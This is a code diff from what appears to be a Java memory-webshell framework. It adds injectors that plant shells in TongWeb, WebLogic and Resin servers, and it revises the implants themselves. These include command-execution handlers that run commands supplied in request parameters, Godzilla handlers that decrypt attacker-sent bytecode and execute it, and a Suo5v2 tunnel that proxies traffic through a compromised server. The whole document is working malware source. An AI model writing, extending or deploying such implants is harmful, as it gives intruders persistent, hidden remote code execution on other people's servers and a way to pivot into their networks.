public class Resin2 extends AbstractServer {
|
||||
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(FILTER, Resin2FilterInjector.class)
|
||||
.addInjector(SERVLET, Resin2ServletInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
@@ -19,8 +19,11 @@ public class TongWeb extends AbstractServer {
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(LISTENER, TongWebListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(VALVE, TongWebValveInjector.class)
|
||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||
.build();
|
||||
|
||||
@@ -4,6 +4,7 @@ import com.reajason.javaweb.memshell.injector.weblogic.WebLogicFilterInjector;
|
||||
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector;
|
||||
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector;
|
||||
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector;
|
||||
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicWebSocketInjector;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
@@ -22,8 +23,13 @@ public class WebLogic extends AbstractServer {
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(LISTENER, WebLogicListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, WebLogicListenerInjector.class)
|
||||
.addInjector(FILTER, WebLogicFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, WebLogicFilterInjector.class)
|
||||
.addInjector(SERVLET, WebLogicServletInjector.class)
|
||||
.addInjector(JAKARTA_SERVLET, WebLogicServletInjector.class)
|
||||
.addInjector(WEBSOCKET, WebLogicWebSocketInjector.class)
|
||||
.addInjector(JAKARTA_WEBSOCKET, WebLogicWebSocketInjector.class)
|
||||
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
|
||||
.build();
|
||||
}
|
||||
|
||||
+15
-10
@@ -4,6 +4,7 @@ import org.springframework.web.reactive.function.server.HandlerFunction;
|
||||
import org.springframework.web.reactive.function.server.ServerRequest;
|
||||
import org.springframework.web.reactive.function.server.ServerResponse;
|
||||
import reactor.core.publisher.Mono;
|
||||
import reactor.core.scheduler.Schedulers;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.util.Optional;
|
||||
@@ -26,17 +27,21 @@ public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = request.headers().firstHeader(paramName);
|
||||
}
|
||||
String result = "";
|
||||
try {
|
||||
if (p != null) {
|
||||
String param = getParam(p);
|
||||
InputStream inputStream = getInputStream(param);
|
||||
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
||||
final String paramValue = p;
|
||||
Mono<String> resultMono = Mono.fromCallable(() -> {
|
||||
String result = "";
|
||||
try {
|
||||
if (paramValue != null) {
|
||||
String param = getParam(paramValue);
|
||||
InputStream inputStream = getInputStream(param);
|
||||
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return ServerResponse.ok().body(Mono.just(result), String.class);
|
||||
return result;
|
||||
}).subscribeOn(Schedulers.boundedElastic());
|
||||
return ServerResponse.ok().body(resultMono, String.class);
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
|
||||
+16
-10
@@ -2,6 +2,8 @@ package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.server.ServerWebExchange;
|
||||
import reactor.core.publisher.Mono;
|
||||
import reactor.core.scheduler.Schedulers;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.util.Scanner;
|
||||
@@ -18,17 +20,21 @@ public class CommandHandlerMethod {
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = exchange.getRequest().getHeaders().getFirst(paramName);
|
||||
}
|
||||
String result = "";
|
||||
try {
|
||||
if (p != null) {
|
||||
String param = getParam(p);
|
||||
InputStream inputStream = getInputStream(param);
|
||||
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
||||
final String paramValue = p;
|
||||
Mono<String> resultMono = Mono.fromCallable(() -> {
|
||||
String result = "";
|
||||
try {
|
||||
if (paramValue != null) {
|
||||
String param = getParam(paramValue);
|
||||
InputStream inputStream = getInputStream(param);
|
||||
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return ResponseEntity.ok(result);
|
||||
return result;
|
||||
}).subscribeOn(Schedulers.boundedElastic());
|
||||
return ResponseEntity.ok(resultMono);
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
|
||||
+15
-9
@@ -5,6 +5,7 @@ import org.springframework.web.server.ServerWebExchange;
|
||||
import org.springframework.web.server.WebFilter;
|
||||
import org.springframework.web.server.WebFilterChain;
|
||||
import reactor.core.publisher.Mono;
|
||||
import reactor.core.scheduler.Schedulers;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
@@ -26,15 +27,20 @@ public class CommandWebFilter implements WebFilter {
|
||||
if (p == null) {
|
||||
return chain.filter(exchange);
|
||||
}
|
||||
String param = getParam(p);
|
||||
String result = "";
|
||||
try {
|
||||
InputStream inputStream = getInputStream(param);
|
||||
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return exchange.getResponse().writeWith(Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8))));
|
||||
final String paramValue = p;
|
||||
return Mono.fromCallable(() -> {
|
||||
String param = getParam(paramValue);
|
||||
String result = "";
|
||||
try {
|
||||
InputStream inputStream = getInputStream(param);
|
||||
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return result;
|
||||
}).subscribeOn(Schedulers.boundedElastic())
|
||||
.flatMap(result -> exchange.getResponse().writeWith(
|
||||
Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8)))));
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
|
||||
+29
-24
@@ -1,9 +1,11 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||
|
||||
import org.springframework.util.MultiValueMap;
|
||||
import org.springframework.web.reactive.function.server.HandlerFunction;
|
||||
import org.springframework.web.reactive.function.server.ServerRequest;
|
||||
import org.springframework.web.reactive.function.server.ServerResponse;
|
||||
import reactor.core.publisher.Mono;
|
||||
import reactor.core.scheduler.Schedulers;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
@@ -35,33 +37,36 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
|
||||
if (value == null || !value.contains(headerValue)) {
|
||||
return Mono.empty();
|
||||
}
|
||||
Object bufferStream = request.formData().flatMap(map -> {
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
byte[] data = base64Decode(map.getFirst(pass));
|
||||
data = x(data, false);
|
||||
if (payload == null) {
|
||||
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = payload.newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(data);
|
||||
f.equals(request);
|
||||
f.toString();
|
||||
result.append(md5.substring(0, 16));
|
||||
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
||||
result.append(md5.substring(16));
|
||||
}
|
||||
} catch (Throwable ex) {
|
||||
ex.printStackTrace();
|
||||
result.append(getErrorMessage(ex));
|
||||
}
|
||||
return Mono.just(result.toString());
|
||||
});
|
||||
Mono<String> bufferStream = request.formData()
|
||||
.flatMap(map -> Mono.fromCallable(() -> process(map, request))
|
||||
.subscribeOn(Schedulers.boundedElastic()));
|
||||
return ServerResponse.ok().body(bufferStream, String.class);
|
||||
}
|
||||
|
||||
private String process(MultiValueMap<String, String> map, ServerRequest request) {
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
byte[] data = base64Decode(map.getFirst(pass));
|
||||
data = x(data, false);
|
||||
if (payload == null) {
|
||||
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = payload.newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(data);
|
||||
f.equals(request);
|
||||
f.toString();
|
||||
result.append(md5.substring(0, 16));
|
||||
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
||||
result.append(md5.substring(16));
|
||||
}
|
||||
} catch (Throwable ex) {
|
||||
ex.printStackTrace();
|
||||
result.append(getErrorMessage(ex));
|
||||
}
|
||||
return result.toString();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
|
||||
+30
-24
@@ -1,8 +1,10 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.util.MultiValueMap;
|
||||
import org.springframework.web.server.ServerWebExchange;
|
||||
import reactor.core.publisher.Mono;
|
||||
import reactor.core.scheduler.Schedulers;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
@@ -33,33 +35,37 @@ public class GodzillaHandlerMethod extends ClassLoader {
|
||||
if (value == null || !value.contains(headerValue)) {
|
||||
return ResponseEntity.notFound().build();
|
||||
}
|
||||
Object bufferStream = exchange.getFormData().flatMap(map -> {
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
byte[] data = base64Decode(map.getFirst(pass));
|
||||
data = x(data, false);
|
||||
if (payload == null) {
|
||||
payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = payload.getDeclaredConstructor().newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(data);
|
||||
f.equals(exchange.getRequest());
|
||||
f.toString();
|
||||
result.append(md5.substring(0, 16));
|
||||
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
||||
result.append(md5.substring(16));
|
||||
}
|
||||
} catch (Throwable ex) {
|
||||
ex.printStackTrace();
|
||||
result.append(getErrorMessage(ex));
|
||||
}
|
||||
return Mono.just(result.toString());
|
||||
});
|
||||
Mono<String> bufferStream = exchange.getFormData()
|
||||
.flatMap(map -> Mono.fromCallable(() -> process(map, exchange))
|
||||
.subscribeOn(Schedulers.boundedElastic()));
|
||||
return ResponseEntity.ok(bufferStream);
|
||||
}
|
||||
|
||||
private String process(MultiValueMap<String, String> map, ServerWebExchange exchange) {
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
byte[] data = base64Decode(map.getFirst(pass));
|
||||
data = x(data, false);
|
||||
if (payload == null) {
|
||||
payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = payload.getDeclaredConstructor().newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(data);
|
||||
f.equals(exchange.getRequest());
|
||||
f.toString();
|
||||
result.append(md5.substring(0, 16));
|
||||
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
||||
result.append(md5.substring(16));
|
||||
}
|
||||
} catch (Throwable ex) {
|
||||
ex.printStackTrace();
|
||||
result.append(getErrorMessage(ex));
|
||||
}
|
||||
return result.toString();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
try {
|
||||
|
||||
+28
-27
@@ -1,12 +1,12 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||
|
||||
import org.springframework.core.io.buffer.DataBuffer;
|
||||
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
|
||||
import org.springframework.util.MultiValueMap;
|
||||
import org.springframework.web.server.ServerWebExchange;
|
||||
import org.springframework.web.server.WebFilter;
|
||||
import org.springframework.web.server.WebFilterChain;
|
||||
import reactor.core.publisher.Mono;
|
||||
import reactor.core.scheduler.Schedulers;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
@@ -39,35 +39,36 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
|
||||
if (value == null || !value.contains(headerValue)) {
|
||||
return chain.filter(exchange);
|
||||
}
|
||||
return exchange.getResponse().writeWith(getPost(exchange));
|
||||
return exchange.getFormData()
|
||||
.flatMap(map -> Mono.fromCallable(() -> process(map, exchange))
|
||||
.subscribeOn(Schedulers.boundedElastic()))
|
||||
.flatMap(bytes -> exchange.getResponse().writeWith(
|
||||
Mono.just(new DefaultDataBufferFactory().wrap(bytes))));
|
||||
}
|
||||
|
||||
private Mono<DataBuffer> getPost(ServerWebExchange exchange) {
|
||||
Mono<MultiValueMap<String, String>> formData = exchange.getFormData();
|
||||
return formData.flatMap(map -> {
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
byte[] data = base64Decode(map.getFirst(pass));
|
||||
data = x(data, false);
|
||||
if (payload == null) {
|
||||
payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = payload.getDeclaredConstructor().newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(exchange.getRequest());
|
||||
f.equals(data);
|
||||
f.toString();
|
||||
result.append(md5.substring(0, 16));
|
||||
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
||||
result.append(md5.substring(16));
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
result.append(getErrorMessage(e));
|
||||
private byte[] process(MultiValueMap<String, String> map, ServerWebExchange exchange) {
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
byte[] data = base64Decode(map.getFirst(pass));
|
||||
data = x(data, false);
|
||||
if (payload == null) {
|
||||
payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = payload.getDeclaredConstructor().newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(exchange.getRequest());
|
||||
f.equals(data);
|
||||
f.toString();
|
||||
result.append(md5.substring(0, 16));
|
||||
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
||||
result.append(md5.substring(16));
|
||||
}
|
||||
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
|
||||
});
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
result.append(getErrorMessage(e));
|
||||
}
|
||||
return result.toString().getBytes(StandardCharsets.UTF_8);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
|
||||
+132
-22
@@ -8,6 +8,7 @@ import java.nio.ByteBuffer;
|
||||
import java.nio.channels.SocketChannel;
|
||||
import java.security.cert.CertificateException;
|
||||
import java.security.cert.X509Certificate;
|
||||
import java.util.Date;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
@@ -30,19 +31,26 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789";
|
||||
private final int CHARACTERS_LENGTH = CHARACTERS.length();
|
||||
private final int BUF_SIZE = 1024 * 16;
|
||||
private final long TUNNEL_IDLE_TIMEOUT_MILLIS = 300L * 1000L;
|
||||
|
||||
private InputStream gInStream;
|
||||
private OutputStream gOutStream;
|
||||
private String gtunId;
|
||||
private int mode = 0;
|
||||
private Object gWriteLock;
|
||||
|
||||
public Suo5v2() {
|
||||
}
|
||||
|
||||
public Suo5v2(InputStream in, OutputStream out, String tunId) {
|
||||
this(in, out, tunId, null);
|
||||
}
|
||||
|
||||
public Suo5v2(InputStream in, OutputStream out, String tunId, Object writeLock) {
|
||||
this.gInStream = in;
|
||||
this.gOutStream = out;
|
||||
this.gtunId = tunId;
|
||||
this.gWriteLock = writeLock;
|
||||
}
|
||||
|
||||
public Suo5v2(String tunId, int mode) {
|
||||
@@ -250,7 +258,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
conn = redirect(req, new String(redirectData), newBody);
|
||||
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())});
|
||||
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||
pipeStream(conn.getInputStream(), out, resp, false);
|
||||
pipeStream(conn.getInputStream(), out, resp, false, null);
|
||||
} finally {
|
||||
if (conn != null) {
|
||||
conn.disconnect();
|
||||
@@ -336,7 +344,6 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
socket.connect(new InetSocketAddress(host, port), 5000);
|
||||
writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
if (socket != null) {
|
||||
socket.close();
|
||||
}
|
||||
@@ -350,8 +357,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
final OutputStream scOutStream = socket.getOutputStream();
|
||||
final InputStream scInStream = socket.getInputStream();
|
||||
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||
final Object responseWriteLock = new Object();
|
||||
try {
|
||||
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
|
||||
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId, responseWriteLock);
|
||||
t = new Thread(p);
|
||||
t.start();
|
||||
|
||||
@@ -374,7 +382,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
}
|
||||
break;
|
||||
case 0x10:
|
||||
writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0);
|
||||
writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0, responseWriteLock);
|
||||
break;
|
||||
default:
|
||||
}
|
||||
@@ -388,7 +396,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
}
|
||||
|
||||
if (sendClose) {
|
||||
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
|
||||
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0, responseWriteLock);
|
||||
}
|
||||
if (t != null) {
|
||||
t.join();
|
||||
@@ -482,10 +490,24 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
}
|
||||
|
||||
private void writeAndFlush(Object resp, byte[] data, int dirtySize) throws Exception {
|
||||
writeAndFlush(resp, data, dirtySize, null);
|
||||
}
|
||||
|
||||
private void writeAndFlush(Object resp, byte[] data, int dirtySize, Object writeLock) throws Exception {
|
||||
if (data == null || data.length == 0) {
|
||||
return;
|
||||
}
|
||||
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||
if (writeLock == null) {
|
||||
writeResponseData(resp, out, data, dirtySize);
|
||||
} else {
|
||||
synchronized (writeLock) {
|
||||
writeResponseData(resp, out, data, dirtySize);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void writeResponseData(Object resp, OutputStream out, byte[] data, int dirtySize) throws Exception {
|
||||
out.write(data);
|
||||
if (dirtySize != 0) {
|
||||
out.write(marshalBase64(newDirtyChunk(dirtySize)));
|
||||
@@ -504,6 +526,12 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
SocketChannel socketChannel = null;
|
||||
HashMap resultData = null;
|
||||
Object[] existing = (Object[]) getKey(tunId);
|
||||
if (existing != null) {
|
||||
touchTunnel(existing);
|
||||
baos.write(marshalBase64(newStatus(tunId, (byte) 0x00)));
|
||||
return baos.toByteArray();
|
||||
}
|
||||
try {
|
||||
socketChannel = SocketChannel.open();
|
||||
socketChannel.socket().setTcpNoDelay(true);
|
||||
@@ -514,8 +542,19 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
resultData = newStatus(tunId, (byte) 0x00);
|
||||
BlockingQueue<byte[]> readQueue = new LinkedBlockingQueue<byte[]>(100);
|
||||
BlockingQueue<byte[]> writeQueue = new LinkedBlockingQueue<byte[]>();
|
||||
putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue});
|
||||
if (newThread) {
|
||||
Object[] newTunnel = new Object[]{socketChannel, readQueue, writeQueue, new long[]{new Date().getTime()}};
|
||||
boolean installed = false;
|
||||
synchronized (ctx) {
|
||||
existing = (Object[]) ctx.get(tunId);
|
||||
if (existing == null) {
|
||||
ctx.put(tunId, newTunnel);
|
||||
installed = true;
|
||||
}
|
||||
}
|
||||
if (!installed) {
|
||||
socketChannel.close();
|
||||
touchTunnel(existing);
|
||||
} else if (newThread) {
|
||||
new Thread(new Suo5v2(tunId, 1)).start();
|
||||
new Thread(new Suo5v2(tunId, 2)).start();
|
||||
}
|
||||
@@ -538,8 +577,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
if (objs == null) {
|
||||
throw new IOException("tunnel not found");
|
||||
}
|
||||
touchTunnel(objs);
|
||||
SocketChannel sc = (SocketChannel) objs[0];
|
||||
if (!sc.isOpen()) {
|
||||
// socket already closed, return silently and let performRead handle it
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -562,6 +603,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
if (objs == null) {
|
||||
throw new IOException("tunnel not found");
|
||||
}
|
||||
touchTunnel(objs);
|
||||
SocketChannel sc = (SocketChannel) objs[0];
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
|
||||
@@ -589,7 +631,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
private void performDelete(String tunId) {
|
||||
Object[] objs = (Object[]) getKey(tunId);
|
||||
if (objs != null) {
|
||||
removeKey(tunId);
|
||||
removeKeyIfSame(tunId, objs);
|
||||
SocketChannel sc = (SocketChannel) objs[0];
|
||||
BlockingQueue<byte[]> writeQueue = (BlockingQueue<byte[]>) objs[2];
|
||||
try {
|
||||
@@ -611,7 +653,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
return port;
|
||||
}
|
||||
|
||||
private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception {
|
||||
private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal, Object writeLock) throws Exception {
|
||||
try {
|
||||
byte[] readBuf = new byte[1024 * 8];
|
||||
while (true) {
|
||||
@@ -623,10 +665,12 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
if (needMarshal) {
|
||||
dataTmp = marshalBase64(newData(this.gtunId, dataTmp));
|
||||
}
|
||||
outputStream.write(dataTmp);
|
||||
outputStream.flush();
|
||||
if (resp != null) {
|
||||
resp.getClass().getMethod("flushBuffer").invoke(resp);
|
||||
if (writeLock == null) {
|
||||
writePipeData(outputStream, resp, dataTmp);
|
||||
} else {
|
||||
synchronized (writeLock) {
|
||||
writePipeData(outputStream, resp, dataTmp);
|
||||
}
|
||||
}
|
||||
}
|
||||
} finally {
|
||||
@@ -640,6 +684,14 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
}
|
||||
}
|
||||
|
||||
private void writePipeData(OutputStream outputStream, Object resp, byte[] data) throws Exception {
|
||||
outputStream.write(data);
|
||||
outputStream.flush();
|
||||
if (resp != null) {
|
||||
resp.getClass().getMethod("flushBuffer").invoke(resp);
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException {
|
||||
buffer.clear();
|
||||
int bytesRead = socketChannel.read(buffer);
|
||||
@@ -830,6 +882,47 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
ctx.remove(k);
|
||||
}
|
||||
|
||||
private boolean removeKeyIfSame(String k, Object expected) {
|
||||
synchronized (ctx) {
|
||||
if (ctx.get(k) == expected) {
|
||||
ctx.remove(k);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private void touchTunnel(Object[] objs) {
|
||||
if (objs == null || objs.length < 4 || !(objs[3] instanceof long[])) {
|
||||
return;
|
||||
}
|
||||
long[] activity = (long[]) objs[3];
|
||||
synchronized (activity) {
|
||||
activity[0] = new Date().getTime();
|
||||
}
|
||||
}
|
||||
|
||||
private long getTunnelIdleMillis(Object[] objs) {
|
||||
if (objs == null || objs.length < 4 || !(objs[3] instanceof long[])) {
|
||||
return Long.MAX_VALUE;
|
||||
}
|
||||
long[] activity = (long[]) objs[3];
|
||||
synchronized (activity) {
|
||||
return new Date().getTime() - activity[0];
|
||||
}
|
||||
}
|
||||
|
||||
private boolean waitForTunnelCleanup(Object[] objs, BlockingQueue<byte[]> writeQueue) throws InterruptedException {
|
||||
while (getKey(this.gtunId) == objs) {
|
||||
long remaining = TUNNEL_IDLE_TIMEOUT_MILLIS - getTunnelIdleMillis(objs);
|
||||
if (remaining <= 0) {
|
||||
return false;
|
||||
}
|
||||
writeQueue.poll(remaining, TimeUnit.MILLISECONDS);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
private byte[] copyOfRange(byte[] original, int from, int to) {
|
||||
int newLength = to - from;
|
||||
if (newLength < 0) {
|
||||
@@ -1035,14 +1128,26 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
// full stream
|
||||
if (this.mode == 0) {
|
||||
try {
|
||||
pipeStream(gInStream, gOutStream, null, true);
|
||||
pipeStream(gInStream, gOutStream, null, true, gWriteLock);
|
||||
} catch (Exception ignore) {
|
||||
} finally {
|
||||
try {
|
||||
byte[] closeData = marshalBase64(newDel(this.gtunId));
|
||||
if (gWriteLock == null) {
|
||||
writePipeData(gOutStream, null, closeData);
|
||||
} else {
|
||||
synchronized (gWriteLock) {
|
||||
writePipeData(gOutStream, null, closeData);
|
||||
}
|
||||
}
|
||||
} catch (Exception ignore) {
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
Object[] objs = (Object[]) getKey(this.gtunId);
|
||||
if (objs == null || objs.length != 3) {
|
||||
if (objs == null || objs.length < 3) {
|
||||
|
||||
return;
|
||||
}
|
||||
@@ -1060,6 +1165,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
if (data.length == 0) {
|
||||
break;
|
||||
}
|
||||
touchTunnel(objs);
|
||||
if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) {
|
||||
selfClean = true;
|
||||
break;
|
||||
@@ -1070,12 +1176,16 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
while (true) {
|
||||
byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
|
||||
if (data == null) {
|
||||
selfClean = true;
|
||||
break;
|
||||
if (getTunnelIdleMillis(objs) >= TUNNEL_IDLE_TIMEOUT_MILLIS) {
|
||||
selfClean = true;
|
||||
break;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
if (data.length == 0) {
|
||||
byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS);
|
||||
if (signal == null) {
|
||||
// EOF keeps pending data available while the client is actively draining it.
|
||||
// An abandoned EOF tunnel is removed after the normal idle timeout.
|
||||
if (getKey(this.gtunId) == objs && !waitForTunnelCleanup(objs, writeQueue)) {
|
||||
selfClean = true;
|
||||
}
|
||||
break;
|
||||
@@ -1089,9 +1199,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
} catch (Exception e) {
|
||||
} finally {
|
||||
if (selfClean) {
|
||||
|
||||
removeKey(this.gtunId);
|
||||
readQueue.clear();
|
||||
if (removeKeyIfSame(this.gtunId, objs)) {
|
||||
readQueue.clear();
|
||||
}
|
||||
}
|
||||
writeQueue.clear();
|
||||
try {
|
||||
|
||||
+76
-53
@@ -23,6 +23,10 @@ import org.apache.commons.lang3.StringUtils;
|
||||
